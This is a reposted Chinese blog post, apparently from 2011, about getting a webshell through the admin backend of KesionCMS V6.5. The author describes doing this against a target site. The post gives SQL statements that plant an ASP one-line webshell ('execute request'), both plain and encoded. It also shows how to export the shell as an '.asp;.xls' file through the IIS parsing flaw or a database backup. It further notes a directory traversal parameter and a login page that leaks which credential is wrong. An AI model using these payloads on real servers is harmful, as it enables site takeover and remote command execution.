KesionCMS V6.5後台拿SHELL方法

來源:互聯網
上載者:User

標籤:

Title:KesionCMS V6.5後台拿SHELL方法  --2011-03-29 00:21

最近弄一個網站,是KesionCMS V6.5的WEB系統,試了下後台拿webshell方法,記下來.

1.

建立x.asp使用者再結合IIS的檔案夾解析漏洞,是可以拿到SHELL的,前提是沒有禁止.asp目錄的訪問,我弄的目標站,不允許訪問.asp這樣的目錄下面的檔案的.

2.

後台SQL執行匯出webshell

理論上是可以的,我在本地可以匯出ok.asp;o.xls這樣的檔案的。但是TXT檔案的話,";"會被替換成"_".也就不起作用了。

create table cmd (a varchar(50))

insert into cmd (a) values (‘┼攠數畣整爠煥敵瑳∨∣┩愾‘)

OR

insert into cmd (a) values (‘<%execute request("a")%>‘)

select * into [a] in ‘d:\wwwroot\a.asp;a.xls‘ ‘excel 8.0;‘ from cmd

匯出去以後,IIS需要重啟一次。WEB才沒有掛掉。但是我第一次匯出的時候,並沒有掛。

匯出去以後同目錄下面還會產生一個INI的檔案。

3.

資料庫插馬,然後備份SHELL

選擇KS_Collect.Mdb資料庫,因為資料量小些,方便。

當然也可以把主要資料庫的NOTDOWN裡面的資料UPDATA成一句話備份。

create table C:\wwwroot\KS_Data\Collect\KS_Collect.Mdb.cmd  (a varchar(50))

insert into C:\wwwroot\KS_Data\Collect\KS_Collect.Mdb.cmd  (a) values (‘┼攠數畣整爠煥敵瑳∨∣┩愾‘)//此處一點要弄編碼,不要有雜的符號.

然後去備份成ASP頁面的檔案,就可以了,有時候不成功的話,插馬的語句選擇是關鍵。

drop table C:\wwwroot\KS_Data\Collect\KS_Collect.Mdb.cmd


系統還有其他地方有安全隱患的地方。

如跨瀏覽目錄http://www.xxx.org/admin/KS.AdminFiles.asp?UploadDir=../..

在後台管理的登入介面,可以猜測管理員帳號,密碼,管理認證碼,都是單獨報錯誤的。

ANSI2Unicode

KesionCMS V6.5後台拿SHELL方法

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.